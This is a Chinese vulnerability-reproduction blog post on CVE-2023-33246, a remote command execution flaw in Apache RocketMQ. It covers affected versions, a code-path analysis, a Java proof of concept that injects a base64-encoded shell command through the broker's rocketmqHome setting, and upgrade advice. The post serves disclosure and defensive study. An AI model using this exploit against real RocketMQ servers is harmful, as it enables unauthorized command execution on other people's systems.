漏洞复现-Apache RocketMQ 远程命令执行漏洞(CVE-2023-33246)

1.漏洞描述

RocketMQ是一个分布式消息和流数据平台,具有低延迟、高性能、高可靠性、万亿级容量和灵活的可扩展性。

Apache RocketMQ此漏洞是一个远程命令执行漏洞。RocketMQ的NameServer、Broker、Controller等多个组件缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

2.影响版本

Apache RocketMQ <= 5.1.0 Apache RocketMQ <= 4.9.5

3.影响范围

4.漏洞分析

复制代码
在函数 org.apache.rocketmq.broker.filtersrv.FilterServerManager 61行
复制代码
调用下面的 createFilterServer 方法,71行中看到从配置文件中获取参数。72行调用方法 buildStartCommand

该方法中取到变量 NamesrvAddr 和 RocketmqHome ,获取之后进行拼接cmd,在72行拿到拼接后的 cmd

进入for循环后在 org.apache.rocketmq.broker.filtersrv.FilterServerUtil 中给的 callshell 方法去执行命令

复制代码
该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。
复制代码
Poc:
复制代码
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import java.util.Properties;
public class EXP {
    public static void main(String[]args) throws Exception{
        // 创建 Properties 对象
        Properties props = new Properties();
        props.setProperty("rocketmqHome","-c {echo,dG91Y2ggL3RtcC9mbGFn}|{base64,-d}|bash -c");
        props.setProperty("filterServerNums","1");
        // 创建 DefaultMQAdminExt 对象并启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        admin.setNamesrvAddr("127.0.0.1:9876");
        admin.start();
        // 更新配置⽂件
        admin.updateBrokerConfig("127.0.0.1:10911", props);
        Properties brokerConfig = admin.getBrokerConfig("127.0.0.1:10911");
        System.out.println(brokerConfig.getProperty("rocketmqHome"));
        System.out.println(brokerConfig.getProperty("filterServerNums"));
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
        }
}

5. 修复建议

厂商已发布了漏洞修复程序,建议用户升级到如下版本:

Apache RocketMQ 5.1.1

Apache RocketMQ 4.9.6

官方下载地址:https://rocketmq.apache.org/zh/download

相关推荐
维构lbs智能定位1 天前
厂区人员定位管理系统|以智能定位,守护化工厂区每一寸安全(二)
安全·厂区人员管理定位系统
JiaWen技术圈1 天前
nginx 安全响应头 介绍
运维·nginx·安全
Jason_zhao_MR1 天前
RK3576 MIPI Camera ISP调试:主观调优与工程实战(下)
stm32·嵌入式硬件·安全·系统架构·嵌入式
周伯通*1 天前
为安全考虑,已锁定该用户帐户,原因是登录尝试或密码更改尝试过多。请稍候片刻再重试或与系统管理员或技术支持联系。
安全
效能革命笔记1 天前
企业软件供应链安全优选:Gitee CodePecker SCA核心能力与选型参考
安全·gitee
黎阳之光1 天前
黎阳之光:视频孪生智慧厂网一体化解决方案|污水处理全场景智能化升级
大数据·人工智能·物联网·安全·数字孪生
一切皆是因缘际会1 天前
依托记忆结构心智体系,AI 自主意识进化路径
大数据·人工智能·安全·搜索引擎·ai
沪漂阿龙1 天前
面试题详解:大模型设计沙箱全攻略——LLM Sandbox、Agent 工具执行、代码沙箱、安全隔离、权限控制与工程落地
网络·数据库·人工智能·安全
liana87441 天前
内部聊天软件选型:安全高效是根本
大数据·安全
路baby1 天前
RCE漏洞的原理详细讲解并基于pikachu靶场的实战演戏
安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·rce